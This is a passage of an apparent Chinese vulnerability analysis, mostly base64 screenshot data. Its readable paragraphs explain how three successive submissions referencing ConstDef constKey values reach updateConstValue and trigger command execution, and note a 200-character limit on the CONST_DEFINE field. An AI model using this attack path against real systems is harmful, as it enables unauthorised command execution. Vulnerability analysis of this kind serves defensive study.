8NLalXjY5Am67sO4EfvpWlCYEKJQVSpXom97Oyxrmmg9Lj0jk4s37uutoN63bx87d+7UFNSZmZksWrSINm3aEBwcjJWVFcOGDcPU1FQv5wPYvHkzU6ZM0Xncd999x6BBg/R2Xv2IYJnreFjuh6f9k73+k1y5/FHufU+OX0ITP296aj1OiMLdD92I77G4Ih1r3n4IHeJ+Z0+EQZGOV+xd8Wwfh6/PfTp4quuPGpEBLAu3x9O1UYF58olr9yTs/nF8j1ngXsCxFZfUZ4R2Ujbnp6+yuYwb0ea0c7PD1ycAC08X7LhPqO/vhDd+G/eCGsaRxzlqYY9n2WaqFCJY5vo6X5x68sOuvDKbw36ePNv1iev4jB1B1HuBfOqUc7cP40ZcY3igF06Fxq3IQljQYyYBBurvS3H5kgCvZ/NKhKjoktMycF+w46mft1OnTnz55Zc8fvyYqlWrEhUVxdSpU6lcuTJ9+/bl3LlzfP/99xw5coRq1arp5ZxOTk7MmTOnSMdVPPZ4Lh+A6+uTaBLjTc+scm3LgMP4FVSQ+S9hTou+xDz1fBaVuvz6OUeDS7EfzZqVHjzb7Ybnq1w2bzeY8e1y7im4k+WJcYzPdfhxfPeAm3tbCu5XaYS7x3F8lwUQ1+E+x3I02A2IYPnyJ0fau43F1U6dJ4/QjSzzg17s0TTas49V7F0LbHyXD6nPiJKRsrng4/ShbBrR94/j63OM+1l/7BjAnuURaDaO/Y/lx9RbOX+kIsPv06F94T9YkX4rCG88Dle7Qg95KjzW3cG7p/qz/yRLXp/UhJjsHaJiCJlPz1kBuMwNxN/pyb5xPjas8NASz8aDFYHaDhBCVCQdO3YE4OjRo3Tt2lWzf+XKlYwcOZKUlBRefvllVq9ezSeffKKXc1pbW/Pee+/pJa2nJmIZrq/P4VSOcvldKx80G6ecsPpCvaV4rNOUaf47wpjzkXehyfpPsmRH3xjKuwh0+TJA09gMmd+DkfNtpZFR0UQGsHxPRO59vis5lmMzu4ELV/BbtocIg9
|
|||
|
|
<p blockindex=35>所以第二次提交需要在<code>$xx$</code>中引用第一次提交的<code>constKey</code>,但是这一次提交不会触发命令执行,因为在调用<code>this.constDefDao.findByExample(def)</code>进行查找的时候,因为<code>constDefDao</code>中不存在第二次提交的<code>constKey</code>,所以不会进入<code>updateConstValue</code>的if条件中。只有第三次提交,才会从获取到第二次提交的<code>ConstDef</code>对象,进入<code>updateConstValue</code>if条件中,进而触发命令执行。</p>
|
|||
|
|
<p blockindex=36><img src=data:image/png;base64,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
|
|||
|
|
<p blockindex=37><img src="data:image/png;base64,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
|
|||
|
|
<p blockindex=38><img src="data:image/png;base64,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
|
|||
|
|
<h3 blockindex=39>问题</h3>
|
|||
|
|
<p blockindex=40><code>ctp_const_def</code>表中保存的是<code>ConstDef</code>对象各个属性的值,<code>CONST_DEFINE</code>字段中保存的是<code>constDefine</code>的值,但是该字段限制最大长度为<code>200</code>。</p>
|
|||
|
|
<p blockindex=41><img src="data:image/png;base64,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